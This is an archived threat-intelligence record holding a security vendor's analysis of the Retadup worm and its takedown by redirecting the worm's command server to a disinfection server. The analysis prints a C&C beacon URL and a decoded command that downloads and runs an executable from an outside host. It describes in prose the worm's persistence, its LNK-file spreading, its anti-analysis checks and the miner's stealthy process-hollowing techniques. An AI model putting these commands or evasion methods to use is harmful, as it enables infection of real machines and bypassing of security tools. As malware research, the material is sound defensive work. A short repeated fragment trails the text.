{
	"id": "8ab476ea-4118-4e92-b006-2d0fbfcd7f72",
	"created_at": "2026-04-06T00:21:45.627381Z",
	"updated_at": "2026-04-10T03:30:57.272324Z",
	"deleted_at": null,
	"sha1_hash": "3ce9ce3331d28876d7f5ca5f652fa37e8f4dd1f2",
	"title": "Putting an end to Retadup: A malicious worm that infected hundreds of thousands",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1288016,
	"plain_text": "Putting an end to Retadup: A malicious worm that infected hundreds of\r\nthousands\r\nBy Threat Research TeamThreat Research Team\r\nArchived: 2026-04-05 20:21:29 UTC\r\nRetadup is a malicious worm affecting Windows machines throughout Latin America. Its objective is to achieve persistence\r\non its victims’ computers, to spread itself far and wide and to install additional malware payloads on infected machines. In\r\nthe vast majority of cases, the installed payload is a piece of malware mining cryptocurrency on the malware authors’ behalf.\r\nHowever, in some cases, we have also observed Retadup distributing the Stop ransomware and the Arkei password stealer.\r\nWe shared our threat intelligence on Retadup with the Cybercrime Fighting Center (C3N) of the French National\r\nGendarmerie, and proposed a technique to disinfect Retadup’s victims. In accordance with our recommendations, C3N\r\ndismantled a malicious command and control (C\u0026C) server and replaced it with a disinfection server. The disinfection\r\nserver responded to incoming bot requests with a specific response that caused connected pieces of the malware to self-destruct. At the time of publishing this article, the collaboration has neutralized over 850,000 unique infections of Retadup.\r\nThis article will begin with a timeline of the disinfection process. Later sections will contain more technical details about\r\nRetadup itself and the malicious miner that it’s distributing.\r\nA map illustrating the amount of neutralized Retadup infections per country. Most victims of Retadup were from Spanish-speaking countries in Latin America.\r\nTimeline\r\nEven though we’ve had detection signatures for Retadup before, we only started monitoring its activity closely in March\r\n2019. As a part of our threat intelligence research, we always actively hunt malware that utilizes advanced techniques in an\r\nattempt to bypass our detection. At the time, a malicious Monero cryptocurrency miner piqued our interest because of its\r\nadvanced stealthy process hollowing implementation. We started looking into how this miner is distributed to its victims and\r\ndiscovered that it was being installed by an AutoIt/AutoHotkey worm called Retadup.\r\nAfter analyzing Retadup more closely, we found that while it is very prevalent, its C\u0026C communication protocol is quite\r\nsimple. We identified a design flaw in the C\u0026C protocol that would have allowed us to remove the malware from its\r\nvictims’ computers had we taken over its C\u0026C server. This made it possible to put an end to Retadup and protect everyone\r\nfrom it, not just Avast users (note that while it is often possible to clean malware infections by taking over a C\u0026C server and\r\npushing a “malware removal” script to the victims through the malware’s established arbitrary code execution channel, the\r\ndesign flaw we found did not involve making the victims execute any extra code).\r\nRetadup’s C\u0026C infrastructure was mostly located in France so we decided to contact the French National Gendarmerie at\r\nthe end of March to share our findings with them. We proposed a disinfection scenario that involved taking over a C\u0026C\r\nserver and abusing the C\u0026C design flaw in order to neutralize Retadup. They liked our idea and have opened a case on\r\nRetadup.\r\nWhile the Gendarmerie was presenting the disinfection scenario to the prosecutor, we were busy analyzing Retadup in more\r\ndetail. We created a simple tracker program that would notify us whenever there was either a new variant of Retadup or if it\r\nstarted distributing new malicious payloads to its victims. We then tested the proposed disinfection scenario locally and\r\ndiscussed potential risks associated with its execution. The Gendarmerie also obtained a snapshot of the C\u0026C server’s disk\r\nfrom its hosting provider and shared parts of it with us so we could start to reverse engineer the contents of the C\u0026C server.\r\nFor obvious privacy reasons, we were only given access to parts of the C\u0026C server that did not contain any private\r\ninformation about Retadup’s victims. Note that we had to take utmost care not to be discovered by the malware authors\r\n(while snapshotting the C\u0026C server and while developing the tracker). Up to this point, the malware authors were mostly\r\ndistributing cryptocurrency miners, making for a very good passive income. But if they realized that we were about to take\r\ndown Retadup in its entirety, they might’ve pushed ransomware to hundreds of thousands of computers while trying to milk\r\ntheir malware for some last profits.\r\nhttps://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nPage 1 of 6\n\nThe findings from the analysis of the obtained snapshot of the C\u0026C server were quite surprising. All of the executable files\r\non the server were infected with the Neshta fileinfector. The authors of Retadup accidentally infected themselves with\r\nanother malware strain. This only proves a point that we have been trying to make – in good humor – for a long time:\r\nmalware authors should use robust antivirus protection. Avast Antivirus would have protected them from Neshta. As a side\r\neffect, it may also have protected them (and others) from their own malware. Alternatively, they also could have used our\r\nfree Neshta removal tool.\r\nA pie chart illustrating the distribution of Retadup’s victims by operating system version.\r\nBragging anonymously on Twitter\r\nDespite hundreds of thousands of machines infected by Retadup, it seems like the worm never got the attention it warranted\r\nfrom the security community. Trend Micro published a series of technical articles on Retadup back in 2017 and 2018.\r\nInterestingly, the authors of Retadup decided to brag about their malware on Twitter. They created a throwaway Twitter\r\naccount @radblackjoker and responded to Trend Micro’s research on Retadup with exclamations such as Its my baby \u003c3\r\nor its my worm i invented it hehehe :D i will rule the world soome day :( . In one case, the authors even responded\r\nwith a screenshot showing the C\u0026C controller. At first, we had some doubts about the legitimacy of this Twitter account, but\r\nafter we obtained the source code of Retadup’s C\u0026C components, it became clear that this screenshot, and consequently the\r\nTwitter account, were genuine.\r\nSince no instructions on how to remove Retadup were available from the security industry, plenty of independent removal\r\ntutorials emerged online. On YouTube, the top five Retadup removal instructional videos have over 250,000 views\r\ncombined. Given the geographical distribution of Retadup infections, it is not surprising that they are mostly in Spanish.\r\nWhile these tutorials usually deal with just one specific variant of Retadup, the instructions given in them should work fairly\r\nwell, and they appeared to help a lot of people. Unfortunately, these tutorials only deal with AutoIt variants of Retadup.\r\nThere are also other variants, which are written in AutoHotkey, for which we found no tutorials. This is probably because the\r\nmalware in Autolt variants is saved under filenames that are easily searchable, so it’s easy for victims to find a removal\r\ntutorial. On the other hand, almost every string in AutoHotkey variants is randomized, so victims most likely do not know\r\nhow and where to look for help.\r\nTechnical details\r\nAutoIt/AutoHotkey core\r\nSince Retadup has been under active development for years now, there are many different variants of its core in the wild.\r\nMost of these variants are very similar in functionality and only differ in how the functionality is implemented. The core is\r\nwritten in either AutoIt or AutoHotkey. In both cases, it consists of two files: the clean scripting language interpreter and the\r\nmalicious script itself. This is in contrast to most AutoIt malware strains nowadays which are generally composed of just a\r\nsingle malicious executable that contains both the interpreter and the malicious script. In AutoHotkey variants of Retadup,\r\nthe malicious script is distributed as source code, while in AutoIt variants, the script is first compiled and then distributed.\r\nFortunately, since the compiled AutoIt bytecode is very high-level, it is not that hard to decompile it into a more readable\r\nform.\r\nThe core follows the same simple workflow in most variants. First, it checks if another instance of Retadup is already\r\nrunning. If it is, then it exits silently so that only a single instance of Retadup is running at any given time. Then it makes\r\nsome basic checks to see if it is being analyzed. If it detects that it is under analysis, it also exits silently. Subsequently, it\r\nachieves persistence and attempts to spread itself. Finally, it enters an infinite loop in which it regularly polls the C\u0026C\r\nserver for commands and if it receives a command from the C\u0026C, it executes a handler for the received command. While\r\ncontacting the C\u0026C, it also periodically performs other attempts to spread itself and restores its persistence mechanisms.\r\nThere are many anti-analysis checks and their specific implementation differs in various Retadup variants. Almost all\r\nRetadup samples first check the filesystem path they are running from. If either the interpreter path or the script path differs\r\nfrom what is expected, the script doesn’t carry out any malicious actions. Most samples also implement a way to delay their\r\nexecution. At the start of their execution, they either perform a single long sleep or a series of many short sleeps. Finally,\r\nsome variants also check if processes with names such as vmtoolsd.exe or procmon.exe are running, if directories with\r\nnames such as C:\\CWSandbox\\ or C:\\cuckoo\\ exist and if modules with names such as SbieDll.dll or api_log.dll\r\nare loaded in the current process.\r\nhttps://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nPage 2 of 6\n\nRetadup’s anti-analysis tricks. One particular sample expects to be stored in a path such as\r\nC:\\fcdurarluwwzawbwjwhcv\\vumrjearhgatsbrqeesyz.txt and will do nothing malicious if it detects that it’s running from a\r\npath that is obviously different.\r\nRetadup achieves persistence by either creating a registry value in\r\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and/or creating a scheduled task. The scheduled task is created\r\nusing the schtasks.exe utility and is set to execute every minute. AutoIt variants of Retadup typically use hardcoded\r\nregistry value names, while AutoHotkey variants tend to use both registry values and scheduled tasks with randomly\r\ngenerated names.\r\nPersistence mechanisms established by an AutoHotkey sample of Retadup.\r\nRetadup primarily spreads by dropping malicious LNK files onto connected drives. When it is spreading, Retadup iterates\r\nover all connected drives where the assigned letter is not C . Then it goes through all folders that are located directly in the\r\nroot folder of the currently-selected drive. For each folder, it creates a LNK file that is supposed to mimic the real folder and\r\ntrick users into executing it. The LNK file is created under the same name as the original folder, with only a short string\r\nsuch as copy fpl.lnk appended to it. Retadup also copies both the clean AutoIt/AutoHotkey interpreter and the malicious\r\nscript to a hidden/system directory, located at a hardcoded path relative to the dropped LNK file. When executed, the LNK\r\nfile will then run the malicious script using the dropped AutoIt/AutoHotkey interpreter. The dropped LNK files essentially\r\nmimic users’ already existing files and they seem to be successful at convincing many of them that they are just benign\r\nshortcuts. We have received hundreds of erroneous false positive reports on malicious LNK files created by Retadup.\r\nEach sample of Retadup is configured with a set of C\u0026C domain names and ports. The sample contacts them individually by\r\nmaking an HTTP GET request to them. Every time such a request is made, the sample encodes some information about the\r\nvictim in the path of the requested URL. While the exact content and form of the encoded information varies in different\r\nvariants of Retadup, all variants of Retadup encode a victim’s ID at the start of the path. For example, one AutoHotkey\r\nsample in our testing environment sent a request to:\r\nhttp://newalpha.alphanoob[.]com:9898/4D7A51334E5459314D6A453356306C/1/54576C6A636D397A62325A3049466470626D527664334D674E7942566248527062\r\nIn this example, most parts of the URL path are encoded using a combination of Base64 and hexadecimal encoding (the\r\nsample uses custom Base64 implementation and in some cases adds some extra padding so it does not strictly adhere to the\r\nBase64 specification). After decoding, the path would look like:\r\nhttp://newalpha.alphanoob[.]com:9898/347565217WI/1/Microsoft Windows 7 Ultimate/DESKTOP-0123456/test/rad//0/0\r\nIn the above “decoded” URL, 347565217WI is the victim’s ID (which is just the hard disk serial number concatenated with\r\nWindows version truncated to a fixed length), 1 is the version of Retadup, Microsoft Windows 7 Ultimate is the OS\r\ncaption, DESKTOP-0123456 is the computer name, test is the username, rad is the malware distributor’s ID, the next\r\nfield contains the installed AV software (there was none on the malware analysis machine), the penultimate 0 means that\r\nthe malware is not actively spreading, and the last 0 means that the miner component is not running.\r\nThe C\u0026C server parses the information from the path of the received GET request and sends back a similarly obfuscated\r\nHTTP response that contains the command to execute. The exact encoding of the response varies in different variants of\r\nRetadup, but let’s see an example response that the C\u0026C sent to the most prevalent AutoHotkey variant.\r\n::623274386648783849475276643235736232466b4c576830644841364c7939356257466b4c6e566e4c33526c633342305979396a617938314e4463314c6d56345a546f\r\nAfter decoding it similarly to the HTTP request, we get:\r\nok|||| download-http://ymad[.]ug/tesptc/ck/5475.exe:!:soso.exe-download\r\nThis command instructs the victim to download a file from http://ymad[.]ug/tesptc/ck/5475.exe , drop it into the\r\nmalware’s folder under the filename soso.exe and execute it. Most of the commands contain a prefix and suffix that\r\nidentify the command ( download- and -download in the above case) and the command arguments are enclosed between\r\nthem separated by the :!: delimiter. For some reason, the suffix for the update command is -update in some variants\r\nand -updatee in others.\r\nhttps://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nPage 3 of 6\n\nThe set of supported commands is currently pretty small – there used to be more of them in older variants. The authors\r\nprobably realized that they do not need the other commands and wanted to keep their malware simpler. The most prevalent\r\ncommands currently are:\r\nUpdate: downloads a newer variant of Retadup and replaces the previous variant of Retadup with it\r\nDownload: downloads and executes an additional payload – either an AutoIt/AutoHotkey script or a PE file\r\nSleep: causes the malware to wait for a specified amount of time\r\nUpdateself: causes the script to polymorphically mutate itself (it prepends a single random comment line and\r\nrenames some of its obfuscated variable names)\r\nThe way that the download command executed additional PE payloads often used multiple layers of indirection. Instead of\r\ndownloading and executing the PE payload directly, an AutoIt script was fetched first. Embedded in the AutoIt script was a\r\nshellcode capable of loading an embedded PE file. The shellcode was copied into executable memory allocated through\r\nVirtualAlloc . The AutoIt function DllCallAddress was then used to transfer control to the shellcode which in turn\r\nloaded and passed control to the final PE payload. The purpose of this indirection was presumably to avoid dropping the PE\r\npayload to disk, which would have increased the chance of detection. But the above-described workflow was not used\r\nexclusively. In some other cases, we’ve also observed the AutoIt script directly downloading a PE file, deleting its zone\r\nidentifier and running it directly from disk.\r\nBefore the execution of some payloads, we’ve also observed Retadup attempting to abuse known UAC bypass methods.\r\nSince the core is distributed either in the form of AutoHotkey source code or AutoIt bytecode (which is easy to decompile),\r\nthe authors tried to obfuscate it to make analysis harder. For the most part, they used publicly available AutoIt/AutoHotkey\r\nobfuscators. The hardest one for us to deobfuscate was CodeCrypter. CodeCrypter encrypts strings with AES. AES\r\ndecryption is performed by a custom shellcode (there is both a 32-bit and a 64-bit variant). The shellcode is loaded into the\r\nmemory of the AutoIt interpreter process. Since it is embedded in the script in a compressed form, it is first decompressed\r\nby another shellcode – this time it is code from the popular aPLib decompression library. The AES key used to encrypt\r\nstrings is further obfuscated and encrypted with another key. The way that CodeCrypter calls the shellcode is interesting – it\r\nuses the CallWindowProc function from user32.dll as a trampoline. CodeCrypter calls it and passes the address of the\r\nshellcode to call as its first argument. CallWindowProc internally calls the address pointed to by its first argument and\r\npasses the following arguments to it, so this is a nice way to call arbitrary native code without using suspicious AutoIt\r\nfunctions such as DllCallAddress . CodeCrypter also renames all variables and user-defined functions to random-looking\r\nstrings. All of these new names also share the same prefix and suffix which makes it visually difficult to tell them apart\r\nwithout renaming them.\r\nC\u0026C server\r\nFor malware researchers, the C\u0026C server is always a big black box. Each piece of code on the client can be reverse-engineered and understood, but while we can get a pretty good idea about what’s happening on the C\u0026C server, it is usually\r\nimpossible to fully understand its server-side logic. For this reason, we were very excited when the Gendarmerie shared the\r\ncode of Retadup’s C\u0026C controller with us. We didn’t get a full dump of the contents of the server, so it wasn’t possible to do\r\nany computer forensics, but we could learn a lot about the malware by reverse-engineering the controller.\r\nThe first thing that interested us, was whether there were any server-side anti-analysis checks. These are usually pretty\r\nannoying since they can hinder us from analyzing the C\u0026C from outside or even deliberately cause the C\u0026C to present false\r\ninformation to us. It turned out that the malware authors didn’t bother implementing any such anti-analysis tricks. The only\r\nthing that hindered our analysis was that the server kept track of which commands were sent to which victims and only sent\r\neach command to each victim once.\r\nThe C\u0026C server is implemented in Node.js and information about the victims is stored in a MongoDB database. There are\r\neleven distinct versions of the C\u0026C server each in its own folder, with its own database, listening on its own port,\r\ncommanding a single variant of Retadup. Each version also contains its own controller, which is basically just a GUI written\r\nin Node.js that allows the malware operators to give commands to the bots and shows some statistics about the victims.\r\nOn each GET request from a malware bot, the C\u0026C first looks up the ID of the victim in its database. If it is not already\r\nthere, it creates a new record for it. Then it stores the information from the URL path to the database. It also saves the\r\nvictim’s IP address, country (identified by the IP address) and the current time. Afterwards, it looks at the victim’s lcmid .\r\nThis field contains the creation time of the last command that was sent to the victim. Next, it looks if it has a newer\r\ncommand for the bot than the one identified by its lcmid . If it discovers one, the newer command gets sent to the victim.\r\nOtherwise, just a simple sleep command is sent.\r\nInterestingly, the server also accepted GET requests to path /rad (which seems to be a nickname of one of the malware\r\nauthors) and it responded with the number of victims that are from Peru.\r\nThe authors probably weren’t sure where they stood in the tabs versus spaces argument so both tabs and spaces were used in\r\nthe controller. Sometimes, the indentation of source code was so bad that it would enrage even the most forgiving software\r\nengineers.\r\nhttps://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nPage 4 of 6\n\nThe C\u0026C server also contained a .NET controller for an AutoIt RAT called HoudRat. Looking at samples of HoudRat, it is\r\nclear that HoudRat is just a more feature-rich and less prevalent variant of Retadup. HoudRat is capable of executing\r\narbitrary commands, logging keystrokes, taking screenshots, stealing passwords, downloading arbitrary files and more.\r\nWe also found that XMRig Proxy was running on the server on ports 9556, 667 and 666 (infecting hundreds of thousands of\r\nunwitting victims probably wasn’t devilish enough). As its name suggests, XMRig Proxy proxies traffic between the miner\r\nbots and a mining pool. It consolidates traffic from multiple bots, so to the mining pool it seems like there’s only a couple of\r\nworkers. At the time the C\u0026C server snapshot was taken, the malware authors mined in the minexmr.com mining pool (but\r\nfrom other saved XMRig config files it is clear that they also experimented with pool.supportxmr.com , nicehash.com ,\r\nxmrpool.net , pool.minergate.com and minexcash.com ). While Monero is designed to be untraceable, mining pools\r\noften publish an API that allows anyone to see how much has a given miner made. Since the pool username is often selected\r\nas a Monero destination address (in this case it was\r\n4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQp35WaoCS1UURfQP9z ),\r\nwe can see that the malware authors mined 53.72 XMR (~4,200 USD at the time of publishing this article) during the near\r\nmonth that the above address was active. Note that they might have mined for other pools with the other proxies as well\r\nduring the same period, so the real profits from mining were likely higher.\r\nMiner payload\r\nThe miner payload comes as a 32-bit PE file and is often packed with various packers/crypters. To keep this blog post\r\nshorter, we focus on the unpacked sample 9c46a0e48ea9b104f982e5ed04735b0078938866e3822712b5a5374895296d08 , but\r\nthere are also other variants of the miner that are slightly different. The general functionality of this payload is pretty much\r\nwhat we have come to expect from common malicious stealthy miners. It decrypts an XMRig PE file in memory and injects\r\nit into a newly-created process via process hollowing. It also dynamically builds an XMRig config file, drops it to disk and\r\npasses it to the newly-created process. XMRig’s donate-level is set to 0 so as not to share any mining profits with XMRig\r\ndevelopers. The malware also avoids mining when taskmgr.exe is running so that it is harder for users to detect its\r\nincreased CPU usage. The process that injects XMRig also acts as a watchdog. If the injected worker process is terminated\r\nfor any reason, the watchdog process spawns a new worker process to replace it.\r\nAs was already mentioned, the most interesting aspect about this miner from our perspective was the injection method. At a\r\nhigh enough level, the injection is just regular process hollowing. A suspended process is created, its original sections are\r\nunmapped, the injected PE file is mapped instead (with its relocations and imports resolved) and the process is resumed.\r\nHowever, while process hollowing is often implemented by calling higher-level functions such as WriteProcessMemory or\r\nNtMapViewOfSection , the miner opts for an extra stealthy way of using system calls directly. This is much harder to\r\nimplement than regular process hollowing, but it probably allows the authors to bypass userland hooks of some security\r\nsolutions.\r\nMost regular implementations of process hollowing directly use undocumented functions exported from ntdll (such as\r\nNtUnmapViewOfSection ) to achieve process injection. However, many endpoint security solutions are able to detect this\r\nmethod of injection by hooking well-known functions. Therefore, some pieces of malware (such as Formbook) load a\r\nsecond copy of ntdll into its memory and call functions exported from ntdll through this copy (this is also known as\r\nthe “Lagos Island” method). The idea behind this is that the new copy of ntdll (which is often read directly from disk)\r\nmight not contain the hooks that the original copy did contain, so that security software might not see which functions the\r\nmalware called.\r\nThe above-described “Lagos Island” method of using a fresh unhooked copy of ntdll is used in this miner, but it also goes\r\none step further. Functions related to process hollowing are not called through the copy of ntdll . Instead, the miner parses\r\nthe body of those functions and extracts their corresponding syscall numbers (on Windows, system call numbers can change\r\nbetween versions, so they cannot simply be hardcoded in the sample). Once the malware has the necessary syscall number, it\r\njust calls the syscall directly using the sysenter instruction.\r\nA shortcut to kernel mode bypassing ntdll.\r\nThis is possible since most of the used ntdll functions are just simple wrappers around the syscall. The result of this is\r\nthat the malware doesn’t call any exported functions, so regular userland hooks will probably not intercept the usage of these\r\n“functions”.\r\nSince the miner is a 32-bit PE file, the above-described method works well on 32-bit systems. But what about WoW64?\r\nSurely the miner cannot just call 64-bit syscalls from 32-bit code. Instead, it uses the so-called Heaven’s Gate technique to\r\nhttps://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nPage 5 of 6\n\nbreak out of the WOW64 emulation layer. Once the malware is through the Heaven’s Gate and is executing 64-bit code, it\r\ncan call a 64-bit syscall directly and then return back to 32-bit code. The usage of the Heaven’s Gate technique also allows\r\nthe miner to inject the 64-bit version of XMRig from within the WoW64 subsystem.\r\nThe miner itself doesn’t use any special obfuscation (the authors probably assumed that the crypters they’ve used will\r\nsuffice). However, the code where the XMRig config file is created contains strings encrypted with Vigenère cipher using a\r\nhardcoded key. This seems like a basic effort to make it slightly harder to repurpose the miner. Otherwise, it would be trivial\r\nfor other malware authors to patch the address that receives the mining income and use the miner for their own nefarious\r\npurposes.\r\nIoCs\r\nNetwork indicators\r\nA group of elite researchers who like to stay under the radar.\r\nSource: https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nhttps://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/\r\nPage 6 of 6\n\nthat the malware doesn’t “functions”. call any exported functions, so regular userland hooks will probably not intercept the usage of these\nSince the miner is a 32-bit PE file, the above-described method works well on 32-bit systems. But what about WoW64?\nSurely the miner cannot just call 64-bit syscalls from 32-bit code. Instead, it uses the so-called Heaven’s Gate technique to\n  Page 5 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/"
	],
	"report_names": [
		"putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands"
	],
	"threat_actors": [
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-10T02:00:03.325163Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434905,
	"ts_updated_at": 1775791857,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3ce9ce3331d28876d7f5ca5f652fa37e8f4dd1f2.pdf",
		"text": "https://archive.orkl.eu/3ce9ce3331d28876d7f5ca5f652fa37e8f4dd1f2.txt",
		"img": "https://archive.orkl.eu/3ce9ce3331d28876d7f5ca5f652fa37e8f4dd1f2.jpg"
	}
}